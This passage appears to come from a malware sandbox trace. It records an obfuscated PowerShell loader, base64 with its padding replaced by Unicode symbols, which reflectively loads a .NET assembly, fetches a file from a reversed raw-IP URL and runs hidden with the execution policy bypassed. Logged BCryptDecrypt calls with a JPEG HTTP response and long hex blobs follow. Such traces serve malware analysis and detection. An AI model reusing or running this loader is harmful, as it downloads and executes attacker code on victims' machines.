Bu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5Kw\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5u\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bi\u2042\u21f5GE\u2042\u21f5cwBl\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5BM\u2042\u21f5GU\u2042\u21f5bgBn\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bh\u2042\u21f5HI\u2042\u21f5d\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5FM\u2042\u21f5dQBi\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5By\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Cw\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBD\u2042\u21f5G8\u2042\u21f5bgB2\u2042\u21f5GU\u2042\u21f5cgB0\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5EY\u2042\u21f5cgBv\u2042\u21f5G0\u2042\u21f5QgBh\u2042\u21f5HM\u2042\u21f5ZQ\u2042\u21f52\u2042\u21f5DQ\u2042\u21f5UwB0\u2042\u21f5HI\u2042\u21f5aQBu\u2042\u21f5Gc\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5b\u2042\u21f5Bv\u2042\u21f5GE\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5GQ\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBS\u2042\u21f5GU\u2042\u21f5ZgBs\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5Gk\u2042\u21f5bwBu\u2042\u21f5C4\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5Ew\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5HQ\u2042\u21f5eQBw\u2042\u21f5GU\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bs\u2042\u21f5G8\u2042\u21f5YQBk\u2042\u21f5GU\u2042\u21f5Z\u2042\u21f5BB\u2042\u21f5HM\u2042\u21f5cwBl\u2042\u21f5G0\u2042\u21f5YgBs\u2042\u21f5Hk\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BU\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5Cg\u2042\u21f5JwBG\u2042\u21f5Gk\u2042\u21f5YgBl\u2042\u21f5HI\u2042\u21f5LgBI\u2042\u21f5G8\u2042\u21f5bQBl\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5bQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5B0\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5C4\u2042\u21f5RwBl\u2042\u21f5HQ\u2042\u21f5TQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5n\u2042\u21f5FY\u2042\u21f5QQBJ\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5L\u2042\u21f5\u2042\u21f5o\u2042\u21f5Cc\u2042\u21f5d\u2042\u21f5B4\u2042\u21f5HQ\u2042\u21f5Lg\u2042\u21f5y\u2042\u21f5DM\u2042\u21f5N\u2042\u21f5Bk\u2042\u21f5GU\u2042\u21f5LwBs\u2042\u21f5HQ\u2042\u21f5Lw\u2042\u21f53\u2042\u21f5DY\u2042\u21f5MQ\u2042\u21f5u\u2042\u21f5DE\u2042\u21f5Ng\u2042\u21f5x\u2042\u21f5C4\u2042\u21f5Ng\u2042\u21f51\u2042\u21f5DE\u2042\u21f5Lg\u2042\u21f50\u2042\u21f5Dk\u2042\u21f5Lw\u2042\u21f5v\u2042\u21f5Do\u2042\u21f5c\u2042\u21f5B0\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5n\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5G0\u2042\u21f5ZQB0\u2042\u21f5Gg\u2042\u21f5bwBk\u2042\u21f5C4\u2042\u21f5SQBu\u2042\u21f5HY\u2042\u21f5bwBr\u2042\u21f5GU\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5G4\u2042\u21f5dQBs\u2042\u21f5Gw\u2042\u21f5L\u2042\u21f5\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5KQ\u2042\u21f5=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('\u2042\u21f5','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" on 2023-8-24.13:48:23.3313b:Ta838,"powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Thu, 24 Aug 2023 13:48:41 GMTContent-Type: image/jpegContent-Length: 5427280Connection: keep-aliveLast-Modified: Tue, 01 Aug 2023 23:17:35 GMTETag: \"64c9928f-52d050\"Cache-Control: max-age=2678400CF-Cache-Status: HITAge: 2"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "a2081ba47a8ecf3bcd727665cf502ac5018e56aba1a61833dc98b9762ea6dcdcacba20ad952e9aa1db2204705d5d30e7ce8b9bb14674af7d98d967a3af33d33465a826acf70d328f3ece9cfc88e8cd1742b14022ac9a24dace2a68136ba6b842755012ec0904d1054d46a95baa695307b6a704da91421a9a4c986e41350b46b93dcf5b5e7e3e1d39235eaeb872f1eab436a77d4628d45ca668aa482a6895d14c4c51a2a5737a44f9d593a0542848acd6161046816415a9b1b94c4cc563219a6428590a098804ec081827de5d0d32e5f3f4b26cc2c6437b86d1973d3a5ae3cfc7729740f2fa4def46eacf958b2a96563cd963346ab743453743cba2b1329c4e988554c2b8cb9d686818955a75cd61438ab4cd649a16ba19cf3eafa8f2e7dd6ad637d67c6c3622dae742d3d976e1dddb9785874787e5db9b1481aef2d9be39235dcba30a909379a685a381d342d0b94279c6baceef35abb125009adc58424143de4a331ac81a5b9d9a60a0c0a92036b76b8e69d7e8de8f9de5393bbcd72f61b4224858c41352d9643173dbdb2c137833d0434b98a9630010dab64bcaaf24c588e8252a44094a85106e54321000229bb15d032dfa662101498a741aae33e5adb4216c01c1465208981b2f3cb3a0a6d51b6b2ceb5a62d531cad5c4def326b3c69af4cb246b4321401182ab1dba8236154ccd832a952a656564a8b5aad7a63f51eff2be67c7df9b3d72ce841044d1b462cb3a58408201f434e709acab4a014e040816d5802ab14150e07734e8e8cbeede19f8ab83a74e58ab1b6749a61913d3a619a35a6a4d58508440e0dc082d15485321daa614a79c260df59a63420b0d0259a522cadd78e59d16149885b5488c173a6f2cb3a6cdb1eb5479fc77608016a866f6564a4d53a122300205818d83b9bb72a089b4093d0ac953aa738d266ca95ce82220887de4bcef452b5232e05b672e03ae5516411c49a24e34c46bb8db5973b2dd81736c5713227a1ae3831e8a1398c6933a364e816c93531c966500a52d358c54e8a19ad1496d2f4113501ba67931db5dc22290119eafa0c8979ecb41a8a0a0ee7571f2397ac26d48b0d58a5740fc6c3534d48a629f4b68f41d0fbdd3cdb8e6c91af172ebf39cda79bc9a6a16ddb54a9ad674f7bb746bb28dda4638ac50e9801854dda58850021bc908348c12f3ec5f37266944ada554ca85275531c2932a93a9eb5ac39ef82768e2dcbb5c30e5a80c596a989eed714e7a295f435e7c71b74f3dbd93eab57c9479b39e37aaa78cf9d6936748c554c68f4cb267a40b6a85423a944dd0461350409b6a0584e14ac13a4132e59d481541000201d45a01558505b5d2bc33c6825da4b554cb469d33bc925683446865d0e876cb07dc22740556c247a3ece2da2f21cdd8dd22f004333b8201bef38d266943a198a90da94cdd8a050e05b4"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "9ea7a619e6913a5b4a2bae473d69a2524bb1fa77a7bcbeaf547270e7b3973d3e7b2755091712fcfc8a544ac4b1d0b56bcfcc9d63042ea413e899f30ba0ba98ca4ec952d366b8b9e79956ad32e4f3f49010406dc226ec70421411a89d84139cd271568d33dba659b1accb4627e8faf83d0b8f9ef1fa28544d58945d00a763815441d852376f81b58b1dbd1f779fe8de5e0b8bd1cb3a28aa153421123a4a5464d0ec2c1b50b9aa014e036a149c4c470203eb34aa8311c118b75e386361081e82fafdedf3fd375f35735f2ae6f57cc4ed8e182604ea6659d14e6c90acedc826a734a4829326527a6e513629db0a583816123afaf3f331e9db70a04469a74cf34694210d75127554e96e60942d179679d095b1a480b93bc86681558a25005aa1c024e013a2964d6ea8e7c6b104221be7417344adbb4180b4238061d5d79ea1aa7409b0964910a996c899a18d2a5883496b515103d374d6ba340b165ba5b8aa08c239dfae58b0e834cd531cbae6f3d3ab70acf43acce06a9095b849357a61406b170e17950b1303b9bcecda067436d9a3e7f3dd315470318e7469a34e799ebd5bd40475254f7ccf12345f3ad1b2f41bae96d9e9d605039d232b06eed014b0ca985436a2cb44df332d34cbd15289bc515964c691ba5b435224e570970359e6119169ac76f15b9072b252d5309a1250e0da922d80535312ee889bf4c5f78f2f3d4555b0ae2a28532556d12aebc6fdf5bfa9d34f3d1046ad8e84939262380173de1c9be64b54a97702d69bc30cedab4c72ce812e98db8526b554105a74ce27922eea413826b429939a1ad3652a080086395aa20a1305b2a3346bd7e8e4f73d5cbf35f3bd1e8eb860cb7d9a62f6b89875d0505009423a6887438c2a90974c882689aebefcbdfd30f19c7e9215535404e5b79aa3401d89d519e3426a052702c4eb85c316e844106b458ac20e8282d9008916e22074975f5cbf77b7073d6de3b93bb9a28c0032881692dc138848b819b6e987475e7e463d55344365205543a439c84b8e68289b65ad0d0d6949b74c55366d309467bbcb585b97d4a002480c57b49c56b3a5e8fa78f8396ca9d0c4ea8cb16088ca41d289b26f652cd35655c8772b97136008a52639ee6bcdc4cfa073da3404b45e877e6c596ab9ac99ee6452761638d30287114827260f9bdfae0b9a14c6367c536694ec594c887b1ee7a37972b0e924dc56d6fafa56fb3abd18e7855272f96f3e0a3cf738cf1d0f422e5bae28cf7e9596ccd0c2974b68b1d2b3d16bd9733935a6554f130b16d02e95cebd054e94d2d5740cbcd73dd09d95ead6bb3be1d1df3360cb5c525536f3075434cdb6a024427926dfa2c78eb6d2d3c59bc929552b75191909c4f36699657962960281a2f3cd2e112a15519d04e639bb8c4a98e49214c93b569b282d02cb798a7604c505074b5c32e7ae"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "1edc4e4a2539cae8257455e6acf416d83dd48f49ed76f0d3acd96d873e88eb5ed38b9ef2e35d0eac32cda93161d09cf4cb9d68b9b6fa9be38b92f12d0e25057537cb4b356b0c11d254d2534cda25a66f5e9cb933d70c6e76aea552d29c1d11825a1ab281d039e95f3f25ac09e6ac46b3b2553a5b80489cdb8cce45cd1221572b69ae551740e66aa8c13adb402a441134428a81820d798ab5aa70454d034c532440692f9bd53bf567a32a5aaab5e92d37f3a7370eb88af2ceda9b920b71a272b551a58e8222da00b11dc8c94c1970203f4cd31a4689a096fd325469488388b0369f519a35349828cb6806b5540211a8ca00551b8141404c888327313a556c102153040c4b4e398ca4585840a4c9a6d66b9ad7a65d5d71f3dcdd6eacd0ae2047196993904eda81d8df93958f52d3d779669bdcba9d9eed8d21389a1731ad1539634a7980e8562240b9a0b144c818ca1da7632022cc9525579a5358101812a6a6b132a0c699ba0b0b680081f53ef3b787c8f2f564cf6b54b4e9ca41959ac1499122db0510a4e344531364dd853914a9b31b66c5e6b0b6a05841d014b21b5c02d1c9edb59f3b4926e465926d1eb69d378dab43422772dad6fd31cd96fd0571e79235a0594961b1d1a750b62726969507a0ddfa0e8cf56b96cbc391cdd4aceb56b1c6e5d5389693f48705b8279e5c7758caf335a448b48356ca2eccf36fd96ad2538d2331314dd66599b37832d29ad36f4075faf9df33c7e4e94957323a2d94b5eb1686526d4e4cf576b9c4b97cfd1921a268a9dd4de98a628479634424b048d650d4dd66a4666b3d679ef1a49611c50800107a637590c80a92e54d15c2d55a642354b11523a99285358db503350165414698c14f7e98e4cb6b9a8aa0cd231394d8d8575b2eed6b6ee69a75b49e065af38cfcfdf0f36b9d14a9a585305a210832a52a853a02a98d0a704216214c9a2a5aeb2c39ef6c114468acd2aaa6a99b2f1cb9ed191054ae470ada5940a806212a5d519a7483a1bab35aa055028701ad027682641d0e0a3409d8a05354141606480f55659a74d4e239d579d060cf701fa3df8bcee1d74314ec2d9028562639054033a428dd3d8dcba2a583ce698aa6eca21812a22323462b8d2de602165035508181042b7add9359de79ccd4e14d4731bb44546224e81d70b8ba4c2a41cc1907676e5c8b64e3b50f5dc64cedfa65962e9ad7a619d512699a7dc3ab3c18f45898b4d4c5cd32f28e433b53a30b05a2d8f79e756fa9096fa90cf685416a0a8d004759ad3639899cdbd5b8180943d6964e772523035d44cf568ce746d4b9ac11aa1aa0d73a759691a379e5cf5ec694c1f4f7cf45cebacf91cbbe8d636e91bf5e7e0f9dd621aab2c59e822923988914cdb73499b540a4532ca3d5bb4150c85830b0a09d521948c4547475cf5ed9c493857333e8159e2c"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "f2cd34b9d09ae9e98a1564cf611532dcd26da929bd024c5b296b6ae355aa7bcc1acd0ed53d539a62a0447373a18844c49856f9d5934379ad0b9b2614d46466d9d3a2b4534c5243e85df5b7c8c5ab485c3e7e5ae8b5a1e7d5db9d595233ae4f36d9ddb495cab946d32e745ce79d687619219dc045953dbd31971a5cbb066919234d3a469b749e8d33e6f2eb9b2d345adba660d85a29366f966c75c79d94c669d9114b4f46ab6542e83a9c534975a696253924c4b3312e756b496f46dcfcfcf643916d6e12e1480a9519c68452b25107790b2a5f434ca25cccf75b5449b401009327149b9cedbcf24d2d8b9a316a217349774cd4f354dd8c98c72acf431c4da8b6faeebdb1e859b72717d5d8e6c1e6a79b3bcd553cebc3339d5b73ac39f1b8b42865c0a74142372a55d7d79b2aacd9dd0e984275402a5aa09aa16ad325cd24aa474b5c75d65c5c7ac66ada2909aa1dd4fa4e8e7f3187480e096500ec09aa4c420e82c56c14c81ae1635aa21d831c02a738691956803b150e010ada14fd975f0f99c7a32e5aedd3254d659d2c501f59e75aeadb00c5e75a95282d759e28db6e9861cf673828eb7a7aaa3067bc1eca94c6a0e0054d1b9b736d04b62121499b46e5a34cd9b5d8b8c78f764d78929c9a7315340e449a640685d4472bcf5219b40142ba909aa6ad169db18e44602d979638d28762a5462102698293b1a60e6851a8822a93b6895b450122a15b54a9c3b54c46bbcaa6e4ed110412ac2d360da4daa26c65e85441428872b72b61229ac5653153504ae98d55ad6941a5bdd6767a3230d3a739abcd95e8b9d359bea1f7982ae0f075618d050c72c73509520329b129b43924a6cd32e7e5b6bd674d99b3640fbcc4d2998e2eee4235cf2c1e4bcde55a6cb7d270cd8d1509814ef143cd95e64e21a3d951b3490559d344dbb49d9b473e0e5cc20c903d4d04eba75c52ce4cdb76c1117d0d79f8d974a1e7a74c7326b9a6290bc3339ddbf265cf54a34d4b5cf3f2de04115c25337352da020c7102916e5ee17346912614fbdd1cfc0e7e98143156c69892d5d2ad8e5ed750bf7b5e92969cfce887e4b3e6e75f202bc35922a4188a299014e44230c98d454a7242315881314e0a32c52918266eda1635c266e22dab1d208a84da09a11c699a410b146c6e45b5aa80d698e50981568372b5761604e56aa320ad3a1935aab2cb3a11209d0d952f706d2a6b3cdb6a2a6a262118216143b0273eebbfcfe7e75e5393ba398381005141437474326fbdbf270b0ecb1d868042a2100d6e2d8c4ed23acb3274e581b6f2c99ef132562ca73a6f0cb3a922951a62e6aa007498d2b152668811ad3598b111a58c03456699a1021d808a3429939311d2db59f3b2e826aa6b5949551c52744c1d264c8873ad151ddd30f3387480e0a0da04ac8355e288b91b3550bcca68c449baf3"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "9352aecedcbc4c7aa058ac2c423d59f553513308a963b158e93614a79886abc979eda6b2caa84983211aaa1c1c18b93a8db70284c5a62d8d034b68028208c2829902246d68a94c6a09b9a5254c36825c18b9b27d0747270f0ea12a0ee698e0c3751832d844ca56e18d668d1b521166531cedb9e7e5ab2b352aa6109e12358234ce6d6e48192d8a8c5626dc8468d73498266210d31aeb5b08a90dd716cb709b3688b055d1bae8e9967c3afadb67ab4908aa97b75cb55469d20269335a2b37d43f48824ce9e73cfec5ccc12d304e9809885a182361d48cba08380fb4da334d093a344fd172f0db20d29e6936de499d5535a2a0f359ddecd73d96618d0a8c39e960c739952da54d131b40d40a0982e71939ce7c83d94f6475743ab9b9cb2e1e5ab6b3c0aa9a6de264eaac3959f4a520aceaa085579e4974e75e98669b3452a3436e334694c323bbb71e0cf7d559e2c75b6349eabc7365a2d8874a7549d304aa54fb95ce9734d49c9fa17d1efba35d533c2e57c9ceb6e95e58e3546b7578fa78b8a8065b14544334c724e941056cd2a91780a513d7af3e78d55362104ca95aaa08310b6a85a2e33c5c4e81d7098b2000b0800c9489812ed809db201b423a063499bb0833269949d356003a0b431a2129540a640822140b4c40da612b2851194826a822704eb94c546a86da809aa010b08c763d51b3430691c11b4286525cd5309c12653a3494122d109d523162365c41c54b96d6fd67570f97c77cd8eb43201a4b26984e484b60845562b112743b43568159822c0c760a1508ea693a1b4526c9ab56d5692635633704e533a101a6fa95ce94275422742714009b06e9b1039bb132b329b28b3080c68c4336650884509b1ea9db44e8600a7d1f672bc5cce4ea16919eee1eba7dee8e629e9ebed8d0979d295266f5eb0f7244c454bd1ac7437e7097972d7063af2b9358403a75c5aa83a1226929929b014d8d101b4cb081230669db083e6e1d0551cdcb4c32fa3b2d771871dceb36cc6723a1d19861d7cf8b55ab72857aee142cb362d9156dbde6579f373d0c2830bc935882add3d5d2df1cf787173d0a5e671772946fbcc09c79e995e46f35dcc96aa40e5b588542235895b1ee12ac15139d75918ad3394b8a713b6f1545b6431672b3d5d506d2e345151b6b97349cb57a7d88dbe8dd3aab1be4e0b3816f8f9e9c8236e81d3c3e9f37988aa9ccac1aa696d0841993a19dacbbb81a70a5c50a3541499dc0a61351ad779628da54b1a445c03158846204d4014c9a58e996c01e9acadacd1b6fd30c93a2674639594fa84c68ea844dc11d209ab0814d4089db09141411aa0a1da5e87a787cff0037736a0259342988c59009ad0f3cb3ac08064baa33ce9028205040372ec7ae9aa1b0227138d031ae453654a66ac649e8709400473baf2c59ec45112033298aed33126b"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "1a5b914ed9414054a8499aa1b6a0da09ab0164408c538d08e342382d370a9ab6521f719a74595436120aa046a050e0441046baba73f2b3e8d0e5137616d0818859622480a8932a573403b6a82da8812a05031aa4cdc2d568acd137aaf24aa44dd87572efccf35a23548614759a4713a4eda36a2ab4e12cbca2006b9706d6ad3b2b4d452d246b55024e713a744911a8d4a84a7416d5b511e93a38bce73f7496eb808b2190d4f304dd798aa63526ed5356955925324e050c93b29c536b0cc3d159b1ce2cfa0a6983a10850a984028b190da9bea539e8d1690ef476eca5e7230ce418a3515e86d8e9117a2f3937514c46857d836f47d1999675269bea413c78e8b556d5436199d19e6f3c56cd73e9ed968acb5565cec3a5337b358d379bf4c939d0a79a6b261a66ceb246bb34842422c99ec559ad5952d14b45111104e5f79f333ac534cb3345989b2cb4cd468d751ce754a96f50962aa130d34b2ab81b1b6b2a9054917866902379b0727568deab019e6a98cd578e7acf9eb4263085ce94245e452d48bbe7c2d5354284baa132f5d65995b9ce2296d5012086c07de66a5a4af3642792c89739a1d82d5adb9a19a2ecaa65cdf475c2a1d675b731e5429456e3506d44f674e9cb15c07cd8eb38e5f3af3eb2554bf4c3246de9a3b3d12db292359f1b3ae65f3f374e75b9a72eb8cf176d13489b16a0c0040ea693883689a54d465050eda04eda1082310956023b6081340510853a6ec5414102c1d53485cdd041d8a0ec5414100dcf45e38cd013f51bf1f94e7edb6807051a205aab140806d02a8226a904d501b9a93adcfeca5e6b79d0038b674f4e7e465bd32d51342048d352a9b0259792e6adcdaa141b7a2e77b8e7e5d0c5494e9c026d344bc41a37290a08d41d20844d02ab0b16fd23267a126825f79d3499d2d36812bd8ad2e1488aa9848a02636754d6428b1b1a1556820254b704106d556e5433029bb410d89f627a3d83ebe9e91c0ca3c9cf1d381652a2566684db13b97269c3deb4f4da9b6e72e57a2e6d06d222e80d8991f529cd8a74d80db73deece1acb4a4d31743b66cac9f79bf584c52e6a0bcff17549b7691033c5e5972a698c74483a18d349a46ce8e47df379de3f41ba472f1e8b4cdcf63ab93998749ab94f22a2a5baf0c586b9684382949658cc9eb5e3c19ec2d1669a5a76e6225c567a38ad7ae5832ac88945d739698f363a4ea4168eac86b1c88e8de5cecb655424965656503cd6863864d25b118d4034337604d1b919bd4a584294c6b44ce8599881b312860529d08edba54e4f4346a1d13071528a21da62ca1ef37ead746327867321c686d456370aa8d13afa0c3b7d12d24e9ccbcc55667970b6e1e65e2579a25e93520c9a73c62935940995488b5567973d682c286ca952707bb5c39f9ef69530584111009a5aba689a054623692550"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "5e7c18755d3e86d8f32367df2e092ab3a0cf32eacb28cda89aea2567a34c5f99cfcfa9746abc5b4b0e5d0eb94cd68bc7267a6f7124268527ac9f30d79a5d00c15550a554d9058d805344a622da25423211a0e84ad29ad6f5d06dc8ae30a8acf6d73be4db9256659f4e8cba225d8cfa351792a41192b3e4edc935c39893c553ae5bc46858eda50e82846e41535caa6eda8c2a94ce862a4139154145811209f537e7e663d221a6f2cd3ae87089d2829900893680ad978127cf8da8a201024ac0466e015403277e9973a34b18a29bb150e35432258e7439c33b40213ab344694c26a2195125f5f9bd882f55d9c5cecf4e273f4374c62498da9ad7d1cfeb7a3cdf15c5e8605a10fd1eb802ae1e7a038b06de61370169ec04ce8a1038d7a648cf564ed013787535c38f8ef6d08501041d0ad5589b51a5bcb34915b9a4ec6288c899011568206aa6b5aaa5136d8e8ed2e8df3b2ccf52d96db01178714e5e5a806883a31d1aa74510abca80568a16d57ba76792f8d7b89b09dbbf3a54f9ec37c8e56371adabdc59b4c9ad2c346c72fb8cb2669a6b3a1aceab8c18ea9976270a53a24996cba34a8a4d517aef36b992a26da86dcdb39f8ea23d1ac32a6a4e763bb1a65214226a9cd14b9b4cd8a4ca98d25263cd735b36e61579635973e93b3ccf33c1e9aa7565ce557910ebcdcab2ad18960233316a88a552055a6d88ddaf366cb759308eaeb967c3a70a62d2ab082d13a5961722d66792c865660a5758e76013b74cf3e5a854911e9fbbccf5b587cbf87d6cceb6d473b2e86359da83db593dc867a5e7a593aaf0384c99012a92db04eda028e954b21537a2e519e910d26d315462b72255312353a88a25ce8a75dab40268d35ad7955ca0e3795dcc3b4d5602174b1dc65d30c7a608450b35488d74806202d46a05222700982c1188188820846038c82b16bd32c99ec75299bb635c8a62301d8b5564e718e36a012a87611a88a08161614280facfa1587333e816c84a566e56aadaa07bcfaf787273e8ce6910ca9f4baf2f98c7a806426b958c157639fd36a7a8b4bcd092dc4a86b1517bb48f57d3c9e3f8fb90d24832b5c6cb719b5e5d1a4f575e4e77274e57a226983a1838073aea139eef2a93caf2b0b60920330a4ec700c28041a53534d66a1441354311da080953066073a12641ba77ebcf4f4cd5f3a2c9ccdd235bad4352cfcece3779e77279ea637b2dc67710a6aad2ad115d757d4db0c386fb08d5739e420d1b64fbcfcdf277229ea064d1b3533a5ae31319ace85a1317b2d3dc669a2726314ce8d170b0836b92144ed260b7699273a652a91d722dadbb10256320cb179a3483ddb63069ce91159e2c4743585d45d43f4c572ec95c5ac56ced75f0f179fb518ef6d08634d2dec0075984084a4bd12674072c1bf48447432f1a9d3319b75e75e7aba6d537989bac"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "bac57798e5d19494b874e8e0d54979daf4cd115b0adc3d0a5a488034a925a3b85c6b8635d2cd6d68a9b4c9a14d94851cfc6a0586aa541aae6c14ab5ed995254b92ea53687542336c13447524326b4eb0235a6a9ad15882a4c5ae5e38d4e954d5262902609ba908462db1ac94a89e442d3ae1cbcb6cb96a4d2d5a937d4eabcd11ae5180d8396d0e32435b6fa4b5599c814d56eb4948500e12d3c4a8bc6f37ac44645f6b4c3973a268438dd519a0c9785565a9e58a7468ea2eb4caea055227565679c29c5a4dbcdad675409921ea5f0f627a4573060805bb06e5e59d6940d4a0416abc913762b0a9bba226b4506edb0e767bad58526dc0e7b6e5a25a539ea67d1db8eee46bc5e75f3ef6f5b9d7cfd5ae34e2e98e7a956992857598de685515f533ebe55e3ccd3006a98206e622d311d0c594041d0d30c396dbb5c39d9ee2d9b95aa3a444a55d88c569c469d72c91abaa33ce86e44748260a74363881a6a30c6b604d5228762d5a6229e58d699614168e969cfce9de91604d134b9a8042db78f3e3726a0ba9a63c9cfa09ae9f3fa4e9bd0d5c744929ca6f24248711add59a6363a4a9a34dcaf25734d70638ebf4f2f1f93b10aeda09b372085b9254499aaaa9abc52ae04431a8a8dcae6ec46d74f4c734eaacf6eaf4f2f5f4c3c9f2f5a2689a04cc22a69563b4c956b9d7a93d2d9b40810a